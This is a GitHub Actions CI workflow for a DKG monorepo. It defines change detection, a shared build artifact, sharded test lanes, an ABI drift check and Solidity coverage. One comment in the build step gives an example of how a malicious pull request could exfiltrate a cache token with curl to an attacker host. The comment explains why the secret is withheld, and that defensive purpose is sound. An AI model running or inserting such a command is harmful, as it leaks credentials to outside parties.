Skip to content

fix(node-ui): rebuild verifiable memory panel (#601) #2378

fix(node-ui): rebuild verifiable memory panel (#601)

fix(node-ui): rebuild verifiable memory panel (#601) #2378

Workflow file for this run

name: CI
# Trigger rules — chosen so the same SHA is never tested twice:
# * push to main/v10-rc : always runs (merge-gate safety net, full
# Solidity coverage, required status checks for protected branches).
# * pull_request : runs on every open/synchronize/reopen event.
# * No `push` trigger on feature branches (e.g. `test/**`). When a PR
# is open, the `pull_request` event already covers every new commit;
# when a PR is not open yet, developers can either open a draft PR
# or trigger the workflow manually via `workflow_dispatch`.
on:
push:
branches: [main, v10-rc]
pull_request:
branches: [main, v10-rc]
workflow_dispatch:
concurrency:
# Per-PR / per-branch lock: cancels any earlier in-flight run for the
# same ref as soon as a newer commit arrives.
group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
# Minimum-needed token scope. All jobs only check out and run tests; nothing
# pushes back to the repo, comments on PRs, publishes packages, or creates
# releases — so `contents: read` is the only permission required. Without an
# explicit block, the GITHUB_TOKEN inherits the org/repo default, which on
# most older repos is the legacy "permissive" `contents: write + …` profile.
# That permissive default is what a TeamPCP-style code-execution exploit on
# any step needs to write to the repo or push a release tag. Locking it down
# here is the single highest-leverage defence-in-depth control.
permissions:
contents: read
jobs:
# ------------------------------------------------------------------
# Detect which surface changed so we can gate the heavy Solidity
# coverage+ratchet run to contract-touching PRs. On `push` events (merges
# into v10-rc / main) the safety net always runs regardless of filters.
# ------------------------------------------------------------------
changes:
name: Detect changes
runs-on: ubuntu-latest
timeout-minutes: 2
permissions:
contents: read
# `dorny/paths-filter` on a `pull_request` event reads the PR file
# list via the Pull Requests REST API (`GET /repos/{owner}/{repo}/
# pulls/{number}/files`). Without `pull-requests: read` here, the
# action fails with `Resource not accessible by integration` and
# the whole CI run dies before the test matrix starts. Scoped to
# this job only — every other job in this workflow does not call
# the API and stays read-only on `contents`.
pull-requests: read
outputs:
contracts: ${{ steps.filter.outputs.contracts }}
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4.0.1
id: filter
with:
filters: |
contracts:
- 'packages/evm-module/contracts/**'
- 'packages/evm-module/test/**'
- 'packages/evm-module/deploy/**'
- 'packages/evm-module/scripts/**'
- 'packages/evm-module/hardhat.*'
- 'packages/evm-module/package.json'
- '.github/workflows/ci.yml'
# ------------------------------------------------------------------
# One canonical build. Every test job downloads this artifact instead
# of rebuilding from scratch (saves ~3-4 min per job).
#
# IMPORTANT — two optimizations here make the sub-5-min wall-clock
# possible:
#
# 1. `--filter='!@dkg-evm-module'` skips the 1m 54s hardhat compile
# (Solidity→bytecode + typechain). No Node test lane consumes its
# output — see the `Build all Node packages` step below for the
# full analysis.
#
# 2. `build:packages` runs the existing package build graph while skipping
# the Node UI `dist-ui/` bundle. Some packages still use Vite for their
# own package output, but no test in CI reads the Node UI static bundle
# at runtime — API tests never hit the static dashboard routes, the
# daemon gracefully 404s when the dir is absent, and the node-ui vitest
# suite fabricates its own temp staticDir.
#
# The default repo-root `pnpm build` remains the full developer/release
# build and includes the Node UI Vite bundle. CI uses `build:packages`
# here to keep this shared test artifact on the Node-UI-bundle-free path.
#
# Turbo remote cache is opt-in: if TURBO_TOKEN / TURBO_TEAM secrets
# are set the build step will pull previously-cached outputs; with no
# secrets the env vars are empty and turbo transparently no-ops.
# We also cache .turbo/ via actions/cache so even without a remote
# cache repeated builds on the same branch are fast.
# ------------------------------------------------------------------
build:
name: Build packages
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
# Cheap (~300 ms) audit that bans `Wallet.createRandom()` outside a
# small allowlist of intentional call sites. See
# `scripts/audit-create-random.mjs` for the incident this prevents
# from regressing — pre-PR-#366 `ensureProfile` used the anti-pattern
# to destroy nine testnet admin keys at registration time.
- name: Audit Wallet.createRandom usage
run: node scripts/audit-create-random.mjs
# Unit tests for the audit lexer itself (string/template-literal
# awareness, comment stripping, etc.). Catches regressions in the
# bypass-resistance the audit relies on — e.g. the PR #371 fix where
# `//` inside a string literal silently blanked real code after it.
- name: Test audit-create-random lexer
run: node --test scripts/audit-create-random.test.mjs
# RFC 07 §3.2 boundary gate. Bans raw `dialProtocol(` outside the
# network/protocol-router boundary so new protocols can't silently
# bypass the in-process PeerResolver and re-introduce the
# asymmetric-failure class RFC 07 was built to eliminate. See
# `scripts/audit-dial-protocol.mjs` for the full rationale and
# `dkgv10-spec/production_mainnet/07_IN_PROCESS_PEER_RESOLVER.md`
# for the architectural commitment.
- name: Audit dialProtocol boundary (RFC 07 §3.2)
run: node scripts/audit-dial-protocol.mjs
- name: Test audit-dial-protocol lexer
run: node --test scripts/audit-dial-protocol.test.mjs
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Validate npm metadata points to v10
run: pnpm check:npm-metadata
- name: Restore Turbo cache
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
.turbo
packages/*/.turbo
key: turbo-${{ runner.os }}-${{ github.ref }}-${{ github.sha }}
restore-keys: |
turbo-${{ runner.os }}-${{ github.ref }}-
turbo-${{ runner.os }}-refs/heads/v10-rc-
turbo-${{ runner.os }}-
- name: Build all Node packages (evm-module hardhat compile short-circuits)
# `@dkg-evm-module:build` normally runs `hardhat compile` which takes
# ~1m 54s on CI (Solidity→bytecode + typechain bindings). It's the
# single biggest chunk of the shared build, but nothing in CI's Node
# test lanes consumes its output:
# - `packages/chain` imports ABIs from `@dkg-evm-module/abi/*.json`
# which are COMMITTED to the repo, not regenerated here
# - Solidity unit tests (`tornado-solidity`) do their own
# hardhat compile in their own lane, with its own cache
# - Chain integration tests (`evm-integration.yml`) are a
# separate workflow with their own hardhat setup
#
# `DKG_SKIP_EVM_BUILD=1` makes evm-module's `build` script a no-op
# (short-circuits before `hardhat compile`; see package.json). We
# can't just drop it from the turbo task graph via `--filter=!…`
# because `@dkg-chain#build` declares evm-module as a workspace
# dependency and turbo pulls it in transitively. Skipping the
# command keeps the graph valid but moves the build from ~3 min to
# ~1 min.
run: pnpm run build:packages
env:
DKG_SKIP_EVM_BUILD: "1"
# TURBO_TOKEN / TURBO_TEAM are scoped to `push` events ONLY.
# On `pull_request` runs the package `build` scripts are
# PR-controlled: a malicious PR could replace a `build` step
# in any `packages/*/package.json` and exfiltrate the cache
# credentials via `curl https://attacker.example.com -d "$TURBO_TOKEN"`.
# Setting the secret to an empty string on PR runs makes turbo
# transparently no-op its remote cache integration — local
# `.turbo/` caching via `actions/cache` (above) still keeps
# repeated builds on the same branch fast. Push-event runs on
# protected branches keep the remote cache because by then
# the code has already cleared branch-protection review.
TURBO_TOKEN: ${{ github.event_name == 'push' && secrets.TURBO_TOKEN || '' }}
TURBO_TEAM: ${{ github.event_name == 'push' && secrets.TURBO_TEAM || '' }}
- name: Package build outputs
run: |
set -euo pipefail
# Collect every emitted output: tsc dist/, optional Vite dist-ui/,
# and the generated network/ dir the CLI copies during build.
mapfile -t PATHS < <(
find packages -maxdepth 2 -type d \
\( -name dist -o -name dist-ui -o -name network \) \
2>/dev/null | sort -u
)
echo "Packing ${#PATHS[@]} output dirs…"
tar -czf /tmp/build-outputs.tgz "${PATHS[@]}"
ls -lh /tmp/build-outputs.tgz
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: build-outputs
path: /tmp/build-outputs.tgz
retention-days: 1
if-no-files-found: error
# ------------------------------------------------------------------
# Tornado core lane: core + storage + chain unit tests. These are all
# sub-minute suites so we keep them bundled on one runner.
# ------------------------------------------------------------------
tornado-core:
name: "Tornado: core + storage + chain"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Core (442 tests)"
run: pnpm --filter @origintrail-official/dkg-core test
- name: "Storage (78 tests)"
run: pnpm --filter @origintrail-official/dkg-storage test
- name: "Chain unit (46 tests)"
run: pnpm --filter @origintrail-official/dkg-chain test
# ------------------------------------------------------------------
# Tornado publisher lane — sharded across 4 parallel runners.
# Sharding history:
# 2 shards → ~4 min each (became the wall-clock tail once `agent`
# was bumped from 4→8 shards and the shared build got
# the evm-module skip; 2-shard publisher pushed the
# total past the 5-min target by ~3s)
# 3 shards → previously saw a ~15s regression vs 2: the
# publisher suite had a handful of long files whose
# tail dominated, and paying fixed setup overhead for
# an extra runner didn't help
# 4 shards → current; with 57 test files ÷ 4 = ~14/shard the
# long-pole file isn't isolated to one runner anymore
# ------------------------------------------------------------------
tornado-publisher:
name: "Tornado: publisher [${{ matrix.shard }}/4]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Publisher tests (shard ${{ matrix.shard }}/4)"
run: pnpm --filter @origintrail-official/dkg-publisher exec vitest run --shard=${{ matrix.shard }}/4
# ------------------------------------------------------------------
# Tornado agent lane — the slowest Node suite, sharded across 10 runners.
# Sharding history:
# 3 shards → 6+ min each (wall-clock tail)
# 4 shards → ~4.5 min each (still the gating tail)
# 8 shards → ~3m-3m 49s each (slowest shard 4m 16s → total 5m 18s)
# 10 shards --shard=N/M (vitest hash) → slowest 4m 22s → total 4m 53s
# 10 shards greedy bin-packed ← current. Three files dominate hook
# wall-clock (e2e-privacy 47s, e2e-publish-protocol 43s,
# e2e-flows 39s body + ~2 min of beforeAll hooks each).
# vitest's default --shard=N/M hashes files to shards and
# can land multiple heavies together (shard 8/10 previously
# got e2e-publish-protocol + e2e-workspace-sync + gossip-
# validation = ~80s body + stacked hooks → 4m 22s ceiling).
#
# Greedy bin-packing using historical per-file weights gives
# each of the top-3 heavies its own shard and distributes
# the remaining ~37 files evenly across the rest. Projected
# ceiling is shard 1 (e2e-privacy alone, ~3m 30s total).
#
# Weights live in `scripts/ci-shard-agent.mjs` in this
# package and are refreshed whenever per-file timings shift
# meaningfully — unknown files default to a light weight and
# fall into the lightest bin automatically.
# ------------------------------------------------------------------
tornado-agent:
name: "Tornado: agent [${{ matrix.shard }}/10]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Agent tests (shard ${{ matrix.shard }}/10)"
working-directory: packages/agent
run: |
set -euo pipefail
mapfile -t SHARD_FILES < <(node scripts/ci-shard-agent.mjs ${{ matrix.shard }} 10)
echo "::group::Agent shard ${{ matrix.shard }}/10 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
pnpm exec vitest run "${SHARD_FILES[@]}"
# ------------------------------------------------------------------
# Bura lane — `cli` is the heaviest BURA package (CLI daemon, HTTP API,
# auth, keystore, migration, indexer) so it owns a runner. The
# remaining BURA package (`query`) runs on its own runner.
#
# Tier: BURA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1. Packages
# on the critical path for users/operators; auth & quorum bugs here
# degrade service but do not threaten protocol consensus.
# ------------------------------------------------------------------
bura-cli:
name: "Bura: cli"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "CLI tests"
run: pnpm --filter @origintrail-official/dkg test
bura-supporting:
name: "Bura: query"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Query tests"
run: pnpm --filter @origintrail-official/dkg-query run test
# ------------------------------------------------------------------
# Kosava lanes — `node-ui` is heavy (React Testing Library, happy-dom)
# so it owns a runner. Adapters + demo app + smaller utility packages
# share one runner; they are fast and independent.
#
# Tier: KOSAVA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1.
# Supporting packages (UI, demos, adapters, EPCIS helpers, MCP bridge);
# bugs here affect UX/demos, not protocol correctness.
# ------------------------------------------------------------------
kosava-node-ui:
name: "Kosava: node-ui"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "node-ui tests"
run: pnpm --filter @origintrail-official/dkg-node-ui test
kosava-supporting:
name: "Kosava: adapters + epcis + graph-viz + mcp-server + network-sim"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Supporting Kosava packages"
run: |
pnpm \
--filter @origintrail-official/dkg-epcis \
--filter @origintrail-official/dkg-mcp \
--filter @origintrail-official/dkg-network-sim \
--filter @origintrail-official/dkg-graph-viz \
--filter @origintrail-official/dkg-adapter-elizaos \
--filter @origintrail-official/dkg-adapter-hermes \
--filter @origintrail-official/dkg-adapter-openclaw \
run test
# ------------------------------------------------------------------
# ABI freshness gate — guards the contract `auto-update.ts` deliberately
# never invokes `hardhat compile` on node hosts (would OOM small VPS,
# cold-solc on ARM64 trips the build timeout). It relies on the
# COMMITTED `packages/evm-module/abi/*.json` being the runtime
# contract surface (consumed by `packages/chain` via require()).
#
# This job catches the only way that contract can break: a contributor
# changes a `.sol` file and forgets to commit the regenerated ABIs.
# Runs only when `changes.outputs.contracts == 'true'` so PRs that
# don't touch contracts pay zero cost. On failure prints an explicit
# remediation command so the fix is one copy-paste away.
# ------------------------------------------------------------------
abi-freshness:
name: "Tornado: ABI freshness (committed abi/ vs hardhat compile)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 10
if: needs.changes.outputs.contracts == 'true'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
# Hash both configs because abi/ regen depends on hardhat.config.ts
# (which is what loads hardhat-abi-exporter; see the next step).
key: hardhat-${{ runner.os }}-abi-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.config.ts', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-abi-
hardhat-${{ runner.os }}-
- name: Compile contracts with the default config (regenerates abi/*.json)
# Subtle: `pnpm --filter dkg-evm-module build` ultimately calls
# `hardhat compile --config hardhat.node.config.ts`, which does NOT
# have `hardhat-abi-exporter` wired in. Only the default
# `hardhat.config.ts` imports the plugin and sets `abiExporter:
# { runOnCompile: true, ... }`. Running `npx hardhat compile`
# without a `--config` flag (so it picks up the default config)
# is what actually regenerates `abi/*.json`. Without this, the
# diff check below would always pass even with stale ABIs.
run: npx hardhat compile
working-directory: packages/evm-module
- name: Verify committed abi/ matches regenerated abi/
# `git diff --exit-code` returns 1 if anything under abi/ changed
# after compile. If so, the contributor forgot to commit the
# regenerated ABIs; the auto-updater would then activate code
# that loads stale ABIs against new contracts. Block the PR.
run: |
set -euo pipefail
if ! git diff --exit-code -- packages/evm-module/abi/; then
echo "::error title=ABI drift::Committed packages/evm-module/abi/*.json does not match the output of \`hardhat compile\` (default config)."
echo ""
echo "The auto-updater no longer runs hardhat compile on node hosts (see comment in packages/cli/src/daemon/auto-update.ts), so committed ABIs ARE the runtime contract surface. Drift here would silently activate stale ABIs against new contracts on every node."
echo ""
echo "To fix: regenerate and commit the ABIs locally:"
echo ""
echo " cd packages/evm-module && npx hardhat compile && cd -"
echo " git add packages/evm-module/abi/"
echo " git commit --amend --no-edit # or a fresh commit, your call"
echo " git push --force-with-lease"
echo ""
exit 1
fi
echo "OK: committed packages/evm-module/abi/ matches hardhat output."
# ------------------------------------------------------------------
# Tornado Solidity lane — `packages/evm-module` is TORNADO-tier
# (`dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1): bugs in the
# contracts mean financial loss or consensus divergence.
# - PR + no contract changes : no-op fast pass (keeps the required
# check green without spinning up Hardhat).
# - PR + contract changes : 4-way sharded hardhat test, no
# coverage (~5-6 min per shard in
# parallel; previously ~20 min single).
# - push (main / v10-rc / …) : full coverage + ratchet safety net,
# single job (coverage reports don't
# compose across shards, so we keep
# the safety-net job unsharded).
# ------------------------------------------------------------------
solidity:
name: "Tornado: Solidity [${{ matrix.shard }}/4]"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 15
# PR lane only — sharded 4 ways. Push lane runs the separate
# solidity-coverage job below (full coverage + ratchet check).
if: github.event_name == 'pull_request'
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- name: Skip — no contract changes on this PR
if: needs.changes.outputs.contracts != 'true'
run: echo "::notice::No contracts/*/test/hardhat changes detected — skipping Solidity shard ${{ matrix.shard }}/4. Full coverage still runs on push to main/v10-rc."
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
if: needs.changes.outputs.contracts == 'true'
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
if: needs.changes.outputs.contracts == 'true'
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
if: needs.changes.outputs.contracts == 'true'
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
if: needs.changes.outputs.contracts == 'true'
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-
- name: Compile contracts
if: needs.changes.outputs.contracts == 'true'
run: npx hardhat compile --config hardhat.node.config.ts
working-directory: packages/evm-module
- name: "Hardhat tests (shard ${{ matrix.shard }}/4)"
if: needs.changes.outputs.contracts == 'true'
# Round-robin distribute the 48 .test.ts files across 4
# shards. `sort` gives deterministic ordering so the same file
# always lands in the same shard across runs — makes failure
# reproduction trivial. Hardhat accepts multiple positional
# file paths as `hardhat test FILE1 FILE2 ...`.
run: |
set -euo pipefail
cd packages/evm-module
mapfile -t FILES < <(find test -type f -name '*.test.ts' | sort)
SHARD_FILES=()
SHARD_ID=${{ matrix.shard }}
for i in "${!FILES[@]}"; do
if (( (i % 4) + 1 == SHARD_ID )); then
SHARD_FILES+=("${FILES[$i]}")
fi
done
echo "::group::Shard ${SHARD_ID}/4 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
npx hardhat test --network hardhat --config hardhat.node.config.ts "${SHARD_FILES[@]}"
env:
NODE_OPTIONS: --max-old-space-size=8192
# ------------------------------------------------------------------
# Tornado Solidity coverage lane — safety net on push to main/v10-rc
# only. Full Solidity suite + solidity-coverage + coverage ratchet.
# Not sharded because solidity-coverage's instrumentation state
# doesn't compose across parallel runners. Wall-clock on push is
# not on the critical path so ~20-25 min here is acceptable.
# ------------------------------------------------------------------
solidity-coverage:
name: "Tornado: Solidity coverage (push safety net)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 45
if: github.event_name != 'pull_request'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-
- name: Compile contracts
run: npx hardhat compile --config hardhat.node.config.ts
working-directory: packages/evm-module
- name: Hardhat tests + Solidity coverage + ratchet check
run: pnpm test:coverage
working-directory: packages/evm-module
env:
NODE_OPTIONS: --max-old-space-size=8192